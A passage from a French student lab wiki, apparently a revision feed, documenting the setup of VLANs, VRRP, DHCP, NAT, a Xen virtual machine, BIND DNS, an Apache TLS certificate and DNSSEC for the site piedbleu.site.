 int dot11radio0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
 int Gi0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
En n'oubliant pas de démarrer l'interface  :&lt;br /&gt;
&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 no shutdown&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
Ping du point d'accès vers notre VM : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ping.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On observe notre SSID &amp;quot;Piedbleu&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ssid.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On s'y connecte avec notre téléphone tout en lançant la commande : &lt;br /&gt;
&lt;br /&gt;
 freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.1&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.99&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.150 10.60.108.255&lt;br /&gt;
 write&lt;br /&gt;
 exit&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
'''C9200'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.2&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.49&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.100 10.60.108.255&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 ip nat inside&lt;br /&gt;
&lt;br /&gt;
 access-list 108 permit ip 10.60.108.0 0.0.0.255 any&lt;br /&gt;
 ip nat inside source list 108 interface Loopback0 overload&lt;br /&gt;
&lt;br /&gt;
=Ferme de serveurs Web=&lt;br /&gt;
&lt;br /&gt;
==Architecture générale de la ferme==&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Capbreton===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau : &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',&lt;br /&gt;
         'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
On redémarre ensuite la VM.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre nouvelle interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.8 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Chassiron===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.22&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/resolv.conf : &lt;br /&gt;
&lt;br /&gt;
 domain plil.info&lt;br /&gt;
 nameserver 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/systcl.conf :&lt;br /&gt;
&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance les commandes : &lt;br /&gt;
&lt;br /&gt;
 apt install iptables-persistent&lt;br /&gt;
&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/conf/all/forwarding&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32&lt;br /&gt;
&lt;br /&gt;
Pour tester : &lt;br /&gt;
&lt;br /&gt;
 ping 192.168.42.22 #sur la VM capreton&lt;br /&gt;
 ping 192.168.42.8  #sur la VM chassiron&lt;br /&gt;
 ping 8.8.8.8       #sur la VM chassiron&lt;br /&gt;
 apt update         #sur la VM chassiron&lt;br /&gt;
&lt;br /&gt;
===Clés SSH===&lt;br /&gt;
&lt;br /&gt;
On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x &amp;quot;entrée&amp;quot;) : &lt;br /&gt;
&lt;br /&gt;
 ssh-keygen -b 2048&lt;br /&gt;
&lt;br /&gt;
Ensuite, on propage notre clé publique sur toutes les VM secondaires : &lt;br /&gt;
 &lt;br /&gt;
 for i in $(cat liste_ip.txt); do echo ssh-copy-id root@&amp;quot;$i&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.&lt;br /&gt;
&lt;br /&gt;
Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
dans le fichier /etc/ssh/sshd_config.&lt;br /&gt;
&lt;br /&gt;
===Installation d'Ansible ===&lt;br /&gt;
&lt;br /&gt;
Nous passons à la configuration de nos serveurs Web. Nous utilisons pour cela le système ansible. &lt;br /&gt;
Nous commençons par installer ansible sur notre VM principale :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/ansible/hosts, nous créons un inventaire en séparant l’ensemble des serveurs externes du notre :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:hosts.png]]&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle MOTD===&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine &lt;br /&gt;
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :&lt;br /&gt;
 fichier playbook.yml&lt;br /&gt;
&lt;br /&gt;
 Hosts : vmperso&lt;br /&gt;
 Roles:&lt;br /&gt;
       -{ role : adriagalin.motd }&lt;br /&gt;
&lt;br /&gt;
Nous exécutons ensuite notre playbook.yml :&lt;br /&gt;
 ansible-playbook playbook.yml&lt;br /&gt;
&lt;br /&gt;
Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle NTP===&lt;br /&gt;
&lt;br /&gt;
==Installation de Docker==&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:play_docker.png || 600px ]]&lt;br /&gt;
&lt;br /&gt;
Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire.&lt;br /&gt;
&lt;br /&gt;
==Création du conteneur==&lt;br /&gt;
&lt;br /&gt;
==Configuration des serveurs internes==&lt;br /&gt;
&lt;br /&gt;
==Equilibreur de charge==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54897</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54897"/>
				<updated>2020-12-17T16:20:57Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* Installation de Docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Informations générales=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6&lt;br /&gt;
|-&lt;br /&gt;
| https://www.piedbleu.site &lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
| 100.64.0.21&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
| 2001:660:4401:60ba::0/64 &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
&lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
&lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=Interconnexion de VLAN=&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv4==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.  &lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons en ssh à partir de notre VM:&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
ensuite :&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 address-family ipv4&lt;br /&gt;
 address 10.60.108.254&lt;br /&gt;
 preempt &lt;br /&gt;
 vrrpv2&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte avec exit et on sauvegarde avec write.&lt;br /&gt;
&lt;br /&gt;
La commande show vlan nous affiche bien notre VLAN configuré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 ip 10.60.108.254&lt;br /&gt;
 vrrp 48 preempt&lt;br /&gt;
 vrrp 48 priority 110&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv6==&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.1 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.2 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference Low&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
=Services Internet=&lt;br /&gt;
==Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un ssh sur les 2 routeurs, puis: &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
'''1ère étape: '''&lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).&lt;br /&gt;
&lt;br /&gt;
'''2ème étape:'''&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
'''3ème étape:'''&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix (configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce répertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande : &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==Sécurisation du serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
